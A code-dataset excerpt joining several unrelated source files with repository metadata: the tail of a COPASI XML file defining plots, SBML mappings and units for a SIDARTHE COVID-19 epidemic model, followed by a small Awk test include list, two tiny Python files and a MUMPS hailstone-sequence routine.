<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="mu" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="nu" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="rho" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="sigma" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="tau" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="theta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="xi" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="zeta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Fluxes" type="Plot2D" active="0" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="contagion_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="critical_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="critical_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="death" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="diagnosis_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="diagnosis_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_T" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="symptoms_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="symptoms_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Parameter estimation" type="Plot2D" active="1" taskTypes="Parameter Estimation">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="Diag inf (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Diag inf (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00BEF0"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[3],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00BEF0"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[3],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total T (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[1],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total T (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[1],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[2],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[2],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
</ListOfPlots>
<GUI>
</GUI>
<SBMLReference file="SIDARTHE.xml">
<SBMLMap SBMLid="A" COPASIkey="Metabolite_13"/>
<SBMLMap SBMLid="CFR" COPASIkey="ModelValue_83"/>
<SBMLMap SBMLid="D" COPASIkey="Metabolite_14"/>
<SBMLMap SBMLid="DRT" COPASIkey="ModelValue_94"/>
<SBMLMap SBMLid="Diagn_cumul_infected" COPASIkey="ModelValue_90"/>
<SBMLMap SBMLid="E" COPASIkey="Metabolite_10"/>
<SBMLMap SBMLid="H" COPASIkey="Metabolite_9"/>
<SBMLMap SBMLid="I" COPASIkey="Metabolite_16"/>
<SBMLMap SBMLid="IDART" COPASIkey="ModelValue_92"/>
<SBMLMap SBMLid="IDARTHE" COPASIkey="ModelValue_93"/>
<SBMLMap SBMLid="Perceived_CFR" COPASIkey="ModelValue_84"/>
<SBMLMap SBMLid="R" COPASIkey="Metabolite_12"/>
<SBMLMap SBMLid="R0" COPASIkey="ModelValue_82"/>
<SBMLMap SBMLid="Recovered" COPASIkey="ModelValue_91"/>
<SBMLMap SBMLid="S" COPASIkey="Metabolite_15"/>
<SBMLMap SBMLid="T" COPASIkey="Metabolite_11"/>
<SBMLMap SBMLid="alpha" COPASIkey="ModelValue_110"/>
<SBMLMap SBMLid="beta" COPASIkey="ModelValue_109"/>
<SBMLMap SBMLid="compartment" COPASIkey="Compartment_1"/>
<SBMLMap SBMLid="contagion_A" COPASIkey="Reaction_33"/>
<SBMLMap SBMLid="contagion_D" COPASIkey="Reaction_34"/>
<SBMLMap SBMLid="contagion_I" COPASIkey="Reaction_35"/>
<SBMLMap SBMLid="contagion_R" COPASIkey="Reaction_32"/>
<SBMLMap SBMLid="critical_A" COPASIkey="Reaction_27"/>
<SBMLMap SBMLid="critical_R" COPASIkey="Reaction_26"/>
<SBMLMap SBMLid="death" COPASIkey="Reaction_25"/>
<SBMLMap SBMLid="delta" COPASIkey="ModelValue_107"/>
<SBMLMap SBMLid="diagnosis_A" COPASIkey="Reaction_28"/>
<SBMLMap SBMLid="diagnosis_I" COPASIkey="Reaction_31"/>
<SBMLMap SBMLid="epsilon" COPASIkey="ModelValue_106"/>
<SBMLMap SBMLid="eta" COPASIkey="ModelValue_104"/>
<SBMLMap SBMLid="gamma" COPASIkey="ModelValue_108"/>
<SBMLMap SBMLid="healing_A" COPASIkey="Reaction_22"/>
<SBMLMap SBMLid="healing_D" COPASIkey="Reaction_23"/>
<SBMLMap SBMLid="healing_I" COPASIkey="Reaction_24"/>
<SBMLMap SBMLid="healing_R" COPASIkey="Reaction_21"/>
<SBMLMap SBMLid="healing_T" COPASIkey="Reaction_20"/>
<SBMLMap SBMLid="kappa" COPASIkey="ModelValue_102"/>
<SBMLMap SBMLid="lambda" COPASIkey="ModelValue_101"/>
<SBMLMap SBMLid="mu" COPASIkey="ModelValue_100"/>
<SBMLMap SBMLid="nu" COPASIkey="ModelValue_99"/>
<SBMLMap SBMLid="r1" COPASIkey="ModelValue_89"/>
<SBMLMap SBMLid="r2" COPASIkey="ModelValue_88"/>
<SBMLMap SBMLid="r3" COPASIkey="ModelValue_87"/>
<SBMLMap SBMLid="r4" COPASIkey="ModelValue_86"/>
<SBMLMap SBMLid="r5" COPASIkey="ModelValue_85"/>
<SBMLMap SBMLid="rho" COPASIkey="ModelValue_97"/>
<SBMLMap SBMLid="sigma" COPASIkey="ModelValue_96"/>
<SBMLMap SBMLid="symptoms_D" COPASIkey="Reaction_29"/>
<SBMLMap SBMLid="symptoms_I" COPASIkey="Reaction_30"/>
<SBMLMap SBMLid="tau" COPASIkey="ModelValue_95"/>
<SBMLMap SBMLid="theta" COPASIkey="ModelValue_103"/>
<SBMLMap SBMLid="xi" COPASIkey="ModelValue_98"/>
<SBMLMap SBMLid="zeta" COPASIkey="ModelValue_105"/>
</SBMLReference>
<ListOfUnitDefinitions>
<UnitDefinition key="Unit_5" name="second" symbol="s">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_4">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
s
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_15" name="dimensionless" symbol="1">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_14">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
1
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_17" name="item" symbol="#">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
#
</Expression>
</UnitDefinition>
<UnitDefinition key="Unit_69" name="day" symbol="d">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Unit_68">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
86400*s
</Expression>
</UnitDefinition>
</ListOfUnitDefinitions>
</COPASI>
| Component Pascal | 5 | pmendes/COVID19 | Models/Hartford/SIDARTHE-CT-Hartford_Model3-50.cps | [
"MIT"
] |
@include "test/TestCommons"
@include "test/TestUtils"
@include "test/TestParser"
@include "test/TestLanguages"
| Awk | 0 | vitaly-zdanevich/translate-shell | test/Test.awk | [
"Unlicense"
] |
"""Tests for the melissa component."""
| Python | 0 | domwillcode/home-assistant | tests/components/melissa/__init__.py | [
"Apache-2.0"
] |
class balanceException(Exception):
pass | Python | 2 | middleprince/12306 | myException/balanceException.py | [
"MIT"
] |
hailstone(n) ;
If n=1 Quit n
If n#2 Quit n_" "_$$hailstone(3*n+1)
Quit n_" "_$$hailstone(n\2)
Set x=$$hailstone(27) Write !,$Length(x," ")," terms in ",x,!
